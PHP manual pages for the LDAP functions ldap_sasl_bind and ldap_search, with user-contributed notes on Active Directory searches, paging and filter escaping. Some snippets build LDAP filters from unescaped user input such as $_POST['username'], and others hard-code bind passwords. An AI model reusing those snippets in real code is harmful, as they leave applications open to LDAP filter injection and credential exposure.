(PHP 5)

ldap_sasl_bind — Bind to LDAP directory using SASL

Description

bool ldap_sasl_bind ( resource $link [, string $binddn = NULL [, string $password = NULL [, string $sasl_mech = NULL [, string $sasl_realm = NULL [, string $sasl_authc_id = NULL [, string $sasl_authz_id = NULL [, string $props = NULL ]]]]]]] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: Requirement
ldap_sasl_bind() requires SASL support (sasl.h). Be sure --with-ldap-sasl is used when configuring PHP otherwise this function will be undefined.

Changelog

Version | Description
5.3.3 | Support on Windows was added.

User Contributed Notes

Caleb Callaway 05-Aug-2011 09:18
Code snippet demonstrating how to establish a TLS-encrypted connection to an OpenLDAP server from an Apache webserver and authenticate using a user's Kerberos credentials. Credentials MUST be delegated to the web server for this method to work.

<?php

putenv("KRB5CCNAME={$_SERVER['KRB5CCNAME']}");

$resource = ldap_connect("ldap.example.com")
    or die("Failed to connect to LDAP server.");

echo "Connected to LDAP server.<br />";

//these options may not be necessary in all environments
ldap_set_option($resource, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($resource, LDAP_OPT_REFERRALS, 0);

$result = ldap_start_tls($resource)
    or die("Failed to start TLS");

echo "Started TLS.<br />";

$result = ldap_sasl_bind($resource, NULL, '', 'GSSAPI', 'EXAMPLE.COM', '', '')
    or die("Failed to GSSAPI bind.<br />");

echo "GSSAPI bound.";

?>
dwhite at olp dot net 22-Sep-2007 05:30
With the patch introduced in the bug below (which has been included in CVS), the parameters for this function should be:

bool ldap_sasl_bind ( resource $link [, string $binddn [, string $password [, string $sasl_mech [, string $sasl_realm [, string $sasl_authc_id [, string $sasl_authz_id [, string $props]]]]]]] )

Some example calls:

$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy');

With authz_id, specifying a dn:
$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy', 'dn:uid=tommy,ou=people,dc=example,dc=com');

With authz_id, specifying a SASL username:
$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy', 'u:tommy');

Also, since SASL authentication was introduced in LDAP version 3,
you may need to explicitly set the version number with:
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
dahgdevash at gmail dot com 25-May-2007 10:44
Bug , the function parameters are sent incorrectly to the server
Look at:
http://bugs.php.net/bug.php?id=39291
ldap_rename
ldap_search
LDAP Functions


Search LDAP tree

ldap_sasl_bind
ldap_set_option
LDAP Functions
PHP Manual

ldap_search

(PHP 4, PHP 5)

ldap_search — Search LDAP tree

Description

resource ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes [, int $attrsonly [, int $sizelimit [, int $timelimit [, int $deref ]]]]] )

Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.

From 4.0.5 on it's also possible to do parallel searches. To do this you use an array of link identifiers, rather than a single identifier, as the first argument. If you don't want the same base DN and the same filter for all the searches, you can also use an array of base DNs and/or an array of filters. Those arrays must be of the same size as the link identifier array since the first entries of the arrays are used for one search, the second entries are used for another, and so on. When doing parallel searches an array of search result identifiers is returned, except in case of error, then the entry corresponding to the search will be FALSE. This is very much like the value normally returned, except that a result identifier is always returned when a search was made. There are some rare cases where the normal search returns FALSE while the parallel search returns an identifier.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

base_dn

The base DN for the directory.

filter

The search filter can be simple or advanced, using boolean operators in the format described in the LDAP documentation (see the » Netscape Directory SDK for full information on filters).

attributes

An array of the required attributes, e.g. array("mail", "sn", "cn"). Note that the "dn" is always returned irrespective of which attributes types are requested.

Using this parameter is much more efficient than the default action (which is to return all attributes and their associated values). The use of this parameter should therefore be considered good practice.

attrsonly

Should be set to 1 if only attribute types are wanted. If set to 0 both attributes types and attribute values are fetched which is the default behaviour.

sizelimit

Enables you to limit the count of entries fetched. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset sizelimit. You can set it lower though.

Some directory server hosts will be configured to return no more than a preset number of entries. If this occurs, the server will indicate that it has only returned a partial results set. This also occurs if you use this parameter to limit the count of fetched entries.

timelimit

Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset timelimit. You can set it lower though.

deref

Specifies how aliases should be handled during the search. It can be one of the following:

  • LDAP_DEREF_NEVER - (default) aliases are never dereferenced.
  • LDAP_DEREF_SEARCHING - aliases should be dereferenced during the search but not when locating the base object of the search.
  • LDAP_DEREF_FINDING - aliases should be dereferenced when locating the base object but not during the search.
  • LDAP_DEREF_ALWAYS - aliases should be dereferenced always.

Return Values

Returns a search result identifier or FALSE on error.

Changelog

Version | Description
4.0.5 | Parallel searches support was added.
4.0.2 | The attrsonly, sizelimit, timelimit and deref were added.

Examples

The example below retrieves the organizational unit, surname, given name and email address for all people in "My Company" where the surname or given name contains the substring $person. This example uses a boolean filter to tell the server to look for information in more than one attribute.

Example #1 LDAP search

<?php
// $ds is a valid link identifier for a directory server

// $person is all or part of a person's name, eg "Jo"

$dn = "o=My Company, c=US";
$filter="(|(sn=$person*)(givenname=$person*))";
$justthese = array("ou", "sn", "givenname", "mail");

$sr=ldap_search($ds, $dn, $filter, $justthese);

$info = ldap_get_entries($ds, $sr);

echo $info["count"]." entries returned\n";
?>

User Contributed Notes

info at acpower dot biz 19-Sep-2011 03:07
I'm a newbie, so I hope this helps some other newbie with a head scratcher...

This code returned an error of 'No Such Object':

<?php

    $search = ldap_search ($ldapcon, "cn=admin,dc=acpower,dc=biz", "(filters)");

?>

I took out the cn, and magic! it works:

<?php

    $search = ldap_search ($ldapcon, "dc=acpower,dc=biz", "(filters)");

?>
nick 01-Sep-2011 11:09
Results from ActiveDirectory may be ordered by objectSid.
We can get all users for each page size by modify filter.

<?php
// ... connect to ldap
$lastsid='';
while (1) {
    $filter = '(objectClass=user)';
    if (strlen($lastsid)) {
        list($v)=array_values(unpack('V',substr($lastsid,24))); // id for user.
        $s = substr($lastsid,0,24).pack('V',1+$v); // next sid.
        $s = preg_replace('/../','\\\\$0',bin2hex($s)); // escape for fiter
        $filter = '(&'.$filter.'(objectSid>='.$s.'))'; // fiter for next entries.
    }
    $res = ldap_search($ldap,$basedn,$filter,array('objectSid','cn'));
    if (!ldap_count_entries($ldap,$res)) {
        break;
    }
    for ($ent=ldap_first_entry($ldap,$res); $ent; $ent=ldap_next_entry($ldap,$ent)) {
        list($lastsid) = ldap_get_values_len($ldap,$ent,'objectSid');
    }
}
?>
Arnold 11-May-2011 01:35
I have been working on a script where I needed to get all the users who were member of a specific MS AD group. Because of PHP bug #42060 ( http://bugs.php.net/bug.php?id=42060 ) I could not get all the users back who were member of the group.
After googling for a day I found an article and a patch but it required that I downloaded the source code for php 5.1.6 or 5.2.10 run the patch and than recompile the code to fix the problem.
Problem was
1) I am not a Linux goeroe so I was not very comfortable doing this....
2) I am running the script on a production machine with other code using PHP and did not know what the consequence would bee for that code.
3) I could not update PHP anymore because in newer versions this patch would probably not work any more.

But yesterday I saw the light and wrote some code to get around this problem, maybe other people can use it that have the same problem.

<?PHP
$startFilter        = "(&(memberOf=" .$ADGroup. "))";
$startResults        = ldap_search($ldapconnect, $userBase, $startFilter, $attr);
$countResult        = ldap_count_entries($ldapconnect,$startResults);

IF($countResult == 1000 OR $countResult == 1500)
{
    // loop trough the number 97-122 (ASCII number for the characters a-z)
    For($a=97;$a<=122;$a++)
    {
        // translate the number to a character
        $character            = chr($a);
        // the new search filter withs returns all users with a last name starting with $character
        $filter            = "(&(sn=$character*)(memberOf=$ADGroup))";
        $results        = ldap_search($ldapconnect, $userBase, $filter, $attr);
        $countResult2    = ldap_count_entries($ldapconnect,$results);

        // See if the search for all users starting with a specific character still hits the search limit
        // if so than do a new search to find all the users where the last name starts with "aa" and
        // than with "ab", "ac" etc. etc
        // In the best case we can now find 675.324 users per group when the search limit is 1000
        // ((26 * 999  for the fist character) * 26 for the second character)
        // and 1.013.324 when the search limit is 1500
        If($countResult2 == 1000 or $countResult2 == 1500)
        {
            For($b=97;$b<=122;$b++)
            {
                $character2    = chr($b);
                $filter2    = "(&(sn=$character$character2*)(memberOf=$ADGroup))";
                $results2    = ldap_search($ldapconnect, $userBase, $filter2, $attr);
                $count2        = ldap_count_entries($ldapconnect,$results2);
                $entries2    = ldap_get_entries($ldapconnect,$results2);

                // do your thing
            }
        }
        Else
        {
            $entries            = ldap_get_entries($ldapconnect,$results);
            // do your thing
        }
    }
}
else
{
    $entries            = ldap_get_entries($ldapconnect,$startResults);
    // do your thing
}
?>
David Fontanella 26-Jan-2010 06:39
To get all attributes + special attributes:

<?php
ldap_search(..., $filter, array('*','createtimestamp','modifytimestamp'));
?>

* -> all attributes (normally requested by default)
+
the special attributes you want
ben _at_ onshop.co.uk 19-Jan-2010 02:11
Following from my note of 11-Nov-2009 06:56 regarding DN issues when using LDAP instead of the Global Catalog when querying AD, further investigation was showing that although the results were in the packet, I was getting an error instead:

'Search: Can't contact LDAP server' AKA Error 81.

Using more detailed analysis:

ldap_get_option($ds,LDAP_OPT_ERROR_STRING,$error);

echo $error

Displayed:

Referral: ldap://DomainDnsZones.defg.de.bc.ac.uk/ DC=DomainDnsZonesDC=defg,DC=de,DC=abc,DC=ac,DC=uk

By using trial and error, the error went away and results returned when using:

ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ben _at_ onshop_co_uk 11-Nov-2009 10:56
When searching Active Directory, if you are not getting all the attributes back you are expecting such as AD system/hidden attributes such as 'employeeType' then check the following:

First, ensure you are not connecting to the Global Catalog port (e.g. 3269/3268). You need to connect to an LDAP port such as 636 (SSL) or 389 (non-SSL).

Second, check the DN you are binding with when changing from the Global Catalog port to an LDAP port. I found that a DN without an OU returned a 'Search: Can't contact LDAP server' error. For example this fails:

DC=defg,DC=de,DC=abc,DC=ac,DC=uk

Whilst adding the OU to the DN returned an error free result:

OU=FGH,DC=defg,DC=de,DC=abc,DC=ac,DC=uk

If you consequently need to interrogate multiple DNs then an array of DNs can be passed to ldap_search.
ben _at_ onshop_co_uk 11-Nov-2009 10:24
Example to illustrate searching more than one DN (multiple DNs):

<?php
$ds=ldap_connect($ldapserver);

$dn[]='OU=ABC,DC=xyz,DC=ac,DC=uk';
$dn[]='OU=DEF,DC=xyz,DC=ac,DC=uk';

$id[] = $ds;
$id[] = $ds;

$filter = 'samaccountname='.$_POST['username'];

$result = ldap_search($id,$dn,$filter);

$search = false;

foreach ($result as $value) {
    if(ldap_count_entries($ds,$value)>0){
        $search = $value;
        break;
    }
}

if($search){
    $info = ldap_get_entries($ds, $search);
}else{
    $info = 'No results found';
}
?>
eugene at hutorny dot in dot ua 24-Oct-2009 11:35
This function accepts LDAP search results and return a flat table (2-d array) with search results.
<?php
/*
 * This function returns flat table out of search results
 * $ad - a valid connection to Active Directory (returned by ldap_connect)
 * $sr - a search result (returned by ldap_search)
 * $key- an attribute name to be used as the key in the resulting array
 * Returns 2-d array as the following:
 *   return_value["keyfieldvalue"]["attributename"] = "attribute value"; // entries with key filed present
 *  return_value[i]["attributename"] = "attribute value"; // entries with key fields missing
 */
function ldap_flatresults($ad,$sr,$key=false) {
  for ($entry=ldap_first_entry($ad,$sr);
            $entry!=false;
            $entry=ldap_next_entry($ad,$entry)) {
    $user = array();
    $attributes = ldap_get_attributes($ad,$entry);
    for($i=$attributes['count'];$i-- >0;) {
          $user[strtolower($attributes[$i])] = $attributes[$attributes[$i]][0];
    }
    if( $key && $user[$key] )
      $users[strtolower($user[$key])] = $user;
    else
      $users[] = $user;
  }
  return $users;
}
?>
rtdees at gapac dot com 09-Oct-2009 01:13
As of today, I have found for me that ldap_search and ldap_list are reversed in functionality.  ldap_list now searches the subtree and ldap_search does not.  This is witnessed when searching against an AD forest running on Windows 2008 in what I believe is 2003 mode.
john dot saterfiel at act dot org 29-Sep-2009 10:10
Here's an example of how to connect to an active directory (2003 windows ad tested). And retrieve a specific person's information when given only their username (sAMAccountName).  Note: I have noticed that some active directory servers do care about what case the attributes are in and others don't.  This site was very useful in looking up the AD attributes but I did have to lowercase them all to work for me.
Do a google search on "active directory person attributes" to find the site. www.computerperformance.co.uk

I doubt the code below will work for everybody as is but it should give ad users a good start in how to get a logged in user's data without knowing what organization or security group they're in.  This was needed because my company didn't put all their users in the same organization.

<?PHP
$ldap_url = 'examplead.mycomp.com';
$ldap_domain = 'mycomp.com';
$ldap_dn = "dc=mycomp,dc=com";

$ds = ldap_connect( $ldap_url );
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);

$username = "your_user_name_here";
//must always check that password length > 0
$password = "your_password_here";

// now try a real login
$login = ldap_bind( $ds, "$username@$ldap_domain", $password );
echo '- Logged In Successfully<br/><br/>';
try{
$attributes = array("displayname", "mail",
"department",
"title",
"physicaldeliveryofficename",
"manager");
$filter = "(&(objectCategory=person)(sAMAccountName=$username))";

$result = ldap_search($ds, $ldap_dn, $filter, $attributes);

$entries = ldap_get_entries($ds, $result);

if($entries["count"] > 0){
//echo print_r($entries[$i],1)."<br />";
echo "<b>User Information:</b><br/>";
echo "displayName: ".$entries[0]['displayname'][0]."<br/>";
echo "email: ".$entries[0]['mail'][0]."<br/>";
echo "department: ".$entries[0]['department'][0]."<br/>";
echo "title: ".$entries[0]['title'][0]."<br/>";
echo "office: ".$entries[0]['physicaldeliveryofficename'][0]."<br/>";
//echo "manager: ".$entries[$i]['manager'][0]."<br/>";
$manager_result = ldap_search($ds,
$entries[0]['manager'][0],
'(objectCategory=person)',
array("displayname"));

$manager_entries = ldap_get_entries($ds, $manager_result);
if($manager_entries["count"] > 0){
echo "manager: ". $manager_entries[0]['displayname'][0];
}
}
}catch(Exception $e){
ldap_unbind($ds);
return;
}
ldap_unbind($ds);
echo '<br/><br/>- Logged Out';
?>
douglass_davis at earthlink dot net 08-Apr-2009 06:01
A better ldap_escape, if you don't need nested filters such as those in the Pear package.  Escapes for both filters and distinguished names.

<?php
function ldap_escape($str, $for_dn = false)
{

    // see:
    // RFC2254
    // http://msdn.microsoft.com/en-us/library/ms675768(VS.85).aspx
    // http://www-03.ibm.com/systems/i/software/ldap/underdn.html

    if  ($for_dn)
        $metaChars = array(',','=', '+', '<','>',';', '\\', '"', '#');
    else
        $metaChars = array('*', '(', ')', '\\', chr(0));

    $quotedMetaChars = array();
    foreach ($metaChars as $key => $value) $quotedMetaChars[$key] = '\\'.str_pad(dechex(ord($value)), 2, '0');
    $str=str_replace($metaChars,$quotedMetaChars,$str); //replace them
    return ($str);
}
?>
beni at php dot net 27-Aug-2008 02:17
Please note, that your example is not fully implementing filter escaping needs and is thus not safe for every case (see RFC 2254).

Filter stuff is also available in pears Net_LDAP: http://pear.php.net/manual/en/package.networking.net-ldap.filter.php

With this class you can easily create nested filters without worrying for escaping issues (those are handled by the class itnernally in a rfc compatible maner).
metala at metala dot org 11-Jun-2008 02:12
// Escape string
// see: RFC2254
function ldap_escape($str){
    $metaChars = array('\\', '(', ')', '#', '*');
    $quotedMetaChars = array();
    foreach ($metaChars as $key => $value) $quotedMetaChars[$key] = '\\'.dechex(ord($value));
    $str=str_replace($metaChars,$quotedMetaChars,$str); //replace them
    return ($str);
}
chrisbloom7 at gmail dot com 08-Aug-2007 01:18
Here are a couple of resources for proper construction of filters.

http://msdn2.microsoft.com/En-US/library/aa746475.aspx

http://technet.microsoft.com/en-us/library/aa996205.aspx

Before finding these I had been stumped for hours on how to do something like "all users starting with "a" except those from OU 'foo'"
beni at php dot net 25-Jun-2007 11:56
LDAP stuff is very nicely capsulated in the object oriented Net_LDAP class provided by PEAR:
http://pear.php.net/package/net_ldap
lifo at liche dot net 23-May-2007 11:39
When I discovered I couldn't get searches to work with complex strings (in my case searching on displayName which can have parens and slashes in it). I made this quick function to quote ldap strings in accordance with the RFC. Except I encode spaces as well since searching wouldn't work with spaces. Note, technically speaking a search filter can be encoded into the \xx format for all characters but then filters wouldn't be human readable.

I'm somewhat surprised there wasn't a built in ldap_quote() type of function already.
<?php
// see: RFC2254
function ldap_quote($str) {
        return str_replace(
                array( '\\', ' ', '*', '(', ')' ),
                array( '\\5c', '\\20', '\\2a', '\\28', '\\29' ),
                $str
        );
}
?>
Allie 06-Mar-2007 02:38
I just posted on the ldap_bind, but I figured it couldn't hurt here since this was the first place I stopped when trying to figure out my problem.  My error pointed to ldap_search, but specifying the ldap_connect port was the fix.

When you want to search the entire directory for MS AD, you must specify port 3268 in your bind.  This is also true for apache auth_ldap.

 $ldapserver = ldap_connect($server,3268);
Alain SCHNERB 05-Mar-2007 05:44
I had problem searching into Microsoft Active Directory
with ldap_search.

System administrator does not want to change the 1.000 limit
of returned result because of Domain Controler performance.

Here is a example of code that activates the Page Mode.

See "searching with ActiveX Data Objects (ADO)" on MSDN
for more details.

$connection = New COM("ADODB.Connection");
$commande = New COM("ADODB.Command");
$resultat = New COM("ADODB.Recordset");
$connection->Provider = "ADsDSOObject";
$connection->Open();
$commande->ActiveConnection = $connection ;
$commande->Properties["Cache results"] = false;

// ACTIVATE PAGE MODE
$commande->Properties["Page size"] = 1000;

$recherche1 = "<LDAP://OU=XXXX,OU=Ressources_Locales,DC=COMMUN,
DC=AD,DC=YYYY,DC=FR>";
$recherche2 = ";(&(objectCategory=group)
(sIDHistory=*));distinguishedname;subtree";

$commande->commandtext = $recherche1.$recherche2;
$resultat = $commande->Execute();

$count = 0;
while (!$resultat->eof())
    {
    if ($count<10)
        echo $resultat["distinguishedname"]."<br>";
    $resultat->MoveNext();
    $count = $count +1;
    }
echo $count."<br>";
cbrinker at contronicssolutions dot com 23-Jan-2007 02:18
I was completely lost trying to setup LDAP access with a Windows Server 2003 environment, but I finally got it to work. Here's a lifesaving tip:

-Script/web server cannot be located on the Active Directory server that you are querying

As well, here's the sample code I used:

<?php
    //This code cannot be executed on the same server as AD is installed on!!!

    //Connect
    $ad = ldap_connect("ad server");

    //Set some variables
    ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ad, LDAP_OPT_REFERRALS, 0);

    //Bind to the ldap directory
    $bd = ldap_bind($ad,"user@domain.com","password")
        or die("Couldn't bind to AD!");

    //Search the directory
    $result = ldap_search($ad, "OU=orginizational unit,DC=domain,DC=com", "(CN=*)");

    //Create result set
    $entries = ldap_get_entries($ad, $result);

    //Sort and print
    echo "User count: " . $entries["count"] . "<br /><br /><b>Users:</b><br />";

    for ($i=0; $i < $entries["count"]; $i++)
    {
        echo $entries[$i]["displayname"][0]."<br />";
    }

    //never forget to unbind!
    ldap_unbind($ad);
?>
buhreen at shaw dot ca 03-Apr-2006 09:12
If you are just trying to run LDAP searches against Active Directory, you might find it easier to use the COM objects and use the ADSI ldap search function.  This allows you to use SQL based LDAP queries.  It also allows you to perform subtree level searches in AD.

Here is a quick example.

<?php

$Conn = New COM("ADODB.Connection");
$RS = New COM("ADODB.Recordset");

$Conn->Provider = "ADsDSOObject";
$Conn->Properties['User ID'] = "CN=ZimZam,CN=Users,DC=corp,DC=ad,DC=bob,DC=prv";
$Conn->Properties['Password'] = "anythingyouwant";
$strConn = "Active Directory Provider";
$Conn->Open($strConn);

$strRS = "Select givenname,sn,displayName,mail,SAMAccountName from 'LDAP://corp.ad.bob.prv/DC=corp,DC=ad,DC=bob,DC=prv' where objectClass='user' and SAMAccountName='abc123';

$RS->Open($strRS, $Conn, 1, 1);
echo $RS['givenname'] ." - ". $RS['sn'] ." - ". $RS['displayName'] ." - ". $RS['mail'] ." - ".  $RS['SAMAccountName'] ."<br>";

$RS->Close;
$Conn->Close;
?>
27-Jan-2006 03:53
HOWTO list LDAP users.

This CODE list one user from LDAP tree, but I' like list all user from LDAP one ou=Organization

<?php

$ldaprdn = 'cn=user,dc=domain,dc=org';
$ldappass = 'password';
$sdn = 'cn=user,ou=group,dc=domain,dc=org';

$ldapconn = ldap_connect("ldap://localhost", 389)
or die("Not connect: $ldaphost ");

if ($ldapconn) {

// binding to ldap server
$ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

// verify binding
if ($ldapbind) {
$filter="uid=*";
$justthese = array("uid");

$sr=ldap_read($ldapconn, $srdn, $filter, $justthese);
$entry = ldap_get_entries($ldapconn, $sr);

} else {
echo "LDAP conn ok...";
}

}

ldap_close($ldapconn);

?>
<?php
echo $entry[0]["mail"][0] . " mail adress ";
echo $entry[0]["sn"][0] . " Name ";
?>
cruzfern at chuchuwa dot com dot ar 30-Aug-2005 09:14
The internal attributes (like createTimestamp, modifyTimestamp, etc), don't come by default (when the optional parameter attributes is not set). You have to specify it:

<?
$r=ldap_search($ds,$base,$filter,array("createTimestamp"));
?>
fmouse at fmp dot com 01-Mar-2005 10:53
It appears that the Netscape Directory SDK (developer.netscape.com) referenced for LDAP filter information is no longer accepting connections.   The A copy of RFC 2254 which defines the standard for string representations of LDAP filters can be found  at http://www.ietf.org/rfc/rfc2254.txt
openldap at mail dot doris dot cc 11-Feb-2005 07:54
PHP 4.3.10

I was trying to do an ldapsearch without a basedn.  First, I tried with ' ', as suggested above, but it gave me invalid dn syntax error.

ie:
$sr=ldap_search($ds, ' ', $filter);
Warning: ldap_search(): Search: Invalid DN syntax in ...

Then I changed it to
$sr=ldap_search($ds, "", $filter);

Which gave me the following error:
Warning: ldap_search(): Search: No such object in ...

With that I then modified my ldap.conf file and commented out the BASE field
#BASE   dc=example, dc=com

Then it worked!

So it looks like if you supply a blank basedn, then it will use your default basedn in ldap.conf.
rsu_friend at yahoo dot com 11-Feb-2005 01:03
I was doing a ldap_search with
$searchbasedn = "miDomainName=" . $_SESSION['selectDomain'] ."," . LDAP_DOMAINBASE;
$filter = "(&(mpsAccountNumber=". $acctNumber .")(objectclass=mpsAccountDetails))";
$attributes = array("mpsparentchild");

 $sr = ldap_search($ldapconn, $searchbasedn, $filter,$attributes);

For some reasone this search was failing
but I was able to do successful search only when I gave the search filter as
$filter = "(&(mpsAccountNumber= $acctNumber )(objectclass=mpsAccountDetails))";

I did not get why the ldap_search was not able to search in the first case.
sema at technion dot ac dot il 04-Sep-2004 10:54
In order to perform the searches on Windows 2003 Server Active Directory you have to set the LDAP_OPT_REFERRALS option to 0:

ldap_set_option($ldap, LDAP_OPT_REFERRALS, 0);

Without this, you will get "Operations error" if you try to search the whole AD schema (using root of the domain as a $base_dn).

As opposed to Windows 2000 Server, where this option was optional and only increased the performance.
chester at the dot underground dot com dot au 20-Nov-2003 01:45
If you are searching active directory and are experiencing lag or time outs, it may be that you are being given ldap referrals from the ldap server. The following code will disable this.

<?
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
?>
sembiance at cosmicrealms dot com 16-Nov-2003 06:15
When searching for BINARY data (such as an Active Directory objectGUID) you need to escape each hexadecimal character with a backslash.

The following command line run of ldapsearch shows:
ldapsearch -b "dc=blahblah,dc=com" "(objectGUID=\AE\C3\23\35\F7)"

In PHP, you need to escape the escape for the backslash:
ldap_search($ds,"dc=blahblah,dc=com", "(objectGUID=\\AE\\C3\\23\\35\\F7)");
francis dot tyers at hp dot com 10-Nov-2003 07:53
it seems that all fields must be used in lower case even if they are mixed case in the ldapsearch output.

example:

gidNumber: 1010
homeDirectory: /home/dnt

must be:

echo "gid: " . $info[$i]["gidnumber"][0] . "<br>";
echo "home directory: ". $info[$i]["homedirectory"][0] ."<br>";

not ( $info[$i]["homeDirectory"][0] ) etc.
nicolas at atanis dot net 19-Aug-2003 11:17
Here is a little script that make a complete subtree search ( i know a script above seems do that but it doesnt work fine)
This is my version:

Voila ce que j'ai fait aujourd'hui ...

      $ldap_host = "192.168.0.50";
    $ldap_port = "389";
    $base_dn = "dc=fr";
    $filter = "(cn=*)";
    $ldap_user ="cn=admin,dc=fr";
    $ldap_pass = "hellodelu";
    $connect = ldap_connect( $ldap_host, $ldap_port);
    ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);

    $bind = ldap_bind($connect, $ldap_user, $ldap_pass);
    $read = ldap_search($connect, $base_dn, $filter);

    $info = ldap_get_entries($connect, $read);
    echo $info["count"]." entrees retournees<BR><BR>";
    for($ligne = 0; $ligne<$info["count"]; $ligne++)
    {
        for($colonne = 0; $colonne<$info[$ligne]["count"]; $colonne++)
        {
            $data = $info[$ligne][$colonne];
            echo $data.":".$info[$ligne][$data][0]."<BR>";
        }
        echo "<BR>";
    }
ldap_close($connect);

--------
nicolas
me at gavinadams dot org 15-Aug-2003 01:38
Minor clarification on AD LDAP searchs. Small typo in previous example, and does not display multiple values per attribute. Here's the for loop to enumerate all entries, attributes, and values:

$bind = ldap_bind($connect) // asume anon connect or add user/pass
     or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
     or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<br>";
// $i = entries
// $ii = attributes for entry
// $iii = values per attribute
for ($i = 0; $i<$info["count"]; $i++) {
  for ($ii=0; $ii<$info[$i]["count"]; $ii++){
     $data = $info[$i][$ii];
     for ($iii=0; $iii<$info[$i][$data]["count"]; $iii++) {
       echo $data.":&nbsp;&nbsp;".$info[$i][$data][$iii]."<br>";
     }
  }
echo "<p>"; // separate entries
php @ fccfurn dot com 11-Apr-2003 03:35
To do subtree search from top DN in Active Directory, Make sure you do your ldap_set_option().

<?php
$ldap_host = "pdc.php.net";
$base_dn = "DC=php,DC=net";
$filter = "(cn=Joe User)";
$ldap_user  = "CN=Joe User,OU=Sales,DC=php,DC=net";
$ldap_pass = "pass";
$connect = ldap_connect( $ldap_host, $ldap_port)
         or exit(">>Could not connect to LDAP server<<");
ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
$bind = ldap_bind($connect, $ldap_user, $ldap_pass)
      or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
      or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<p>";
$ii=0;
for ($i=0; $ii<$info[$i]["count"]; $ii++){
    $data = $info[$i][$ii];
    echo $data.":&nbsp;&nbsp;".$info[$i][$data][0]."<br>";
}
ldap_close($connect);
?>
Kamil Kukura <kamk at nexen dot cz> 26-Feb-2003 09:20
When I tried to search with empty base DN on OpenLDAP server which had "" namingContext I got result "no such object". In the log file there was query for dn: dc=example,dc=com (!).
As a workaround, it seems it's enough to feed it with space (' ') as base DN - ldap_search($ds, ' ', '(...filter...)', ...
neumeyed at city dot bloomington dot in dot us 29-Jan-2003 04:50
A previous comment noted: "I've also noticed that the departmentNumber, employeeNumber (and maybe others in inetorgperson.schema) are not returned from a search."

This is incorrect. These attributes are returned, but you must reference them with lowercase names. That is, instead of doing this:

$entries[0]["departmentNumber"][0]

Do this:

$entries[0]["departmentnumber"][0]

This doesn't seem like "correct" behavior to me, but I don't know enough about LDAP to say for sure.
nick dot veitch at futurenet dot co dot 17-Jan-2003 08:59
It might be useful to list here the operators that work:

=         - matches exact value
=*xxx  - matches values ending xxx
=xxx*  - matches values beginning xxx
=*xxx* - matches values containing xxx
=*       - matches all values (if set - NULLS are not returned)

>=xxx  - matches everthing from xxx to end of directory
<=xxx  - matches everything up to xxx in directory

~=xxx      - matches similar entries (not all systems)

Boolean operators for constructing complex search

&(term1)(term2)  - matches term1 AND term2
| (term1)(term2)  - matches term1 OR term2
!(term1)                 - matches NOT term1
&(|(term1)(term2))(!(&(term1)(term2)) - matches XOR term1 term2

some of the more compelx constructions seem to work with varying  degrees of efficiency - sometimes it can be better to filter some of the results with the search and do further filtering in PHP.
emrecio at netscape dot net 30-Sep-2002 08:42
implode(", ",$uentry[0]["rfc822mailalias"]);

doesn't work as expected because "count" is in there... one /must/ use the 'for' loop to cycle through results (discarding "count" element).
jpdalbec at ysu dot edu 09-Sep-2002 07:33
I've found that spaces need to be escaped in search filters ("\20"), at least using the Red Hat PHP 4.1.2 package.  Otherwise no results are returned.
john_taylor_1973 at yahoo dot com 27-Jun-2002 02:26
Try to use ldap_list(), if possible.  It is much faster.  ldap_search searches a scope of LDAP_SCOPE_SUBTREE, but ldap_list searches a scope of just LDAP_SCOPE_ONELEVEL.  This made a big difference on Novell eDirectory 8.6.1, even for a query that only returned 130 objects.  Using an attribute list, the 4th function parameter (of either function), also made queries faster.
31-Aug-2001 07:13
I used the following to retrieve all entries from an ILS (Netmeeting) Server:<p>    $sr=ldap_search($ds, "objectclass=rtperson","(&(cn=%)(objectclass=rtperson))");
<p>Have fun!
<p>Kees
cdaveb at csua dot berkeley dot edu 02-Jan-2001 05:23
FYI, for those doing LDAP searches on Exchange servers, there seems to be some preference in Exchange to disallow searches that aren't initial searches (i.e. only x* will work, not * or *x). I'd been going nuts trying to figure out why I kept getting errors doing * searches.

More info at:
http://www.microsoft.com/Exchange/en/55/help/documents/server/XOG16007.HTM
aa529 at nospamchebucto dot ns dot ca 22-Nov-1999 01:27
Be careful of special characters when generating filters from user input.

*, (, ), \ and NUL should be backslash-escaped. See section 4 of RFC 2254 (I found it here:
http://www.cis.ohio-state.edu/htbin/rfc/rfc2254.html)
ldap_sasl_bind
ldap_set_option
LDAP Functions


Set the value of the given option

ldap_search
ldap_set_rebind_proc
LDAP Functions
PHP Manual

ldap_set_option

(PHP 4 >= 4.0.4, PHP 5)

ldap_set_option — Set the value of the given option

Description

bool ldap_set_option ( resource $link_identifier , int $option , mixed $newval )

Sets the value of the specified option to be newval.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

option

The parameter option can be one of:

Option | Type | Available since
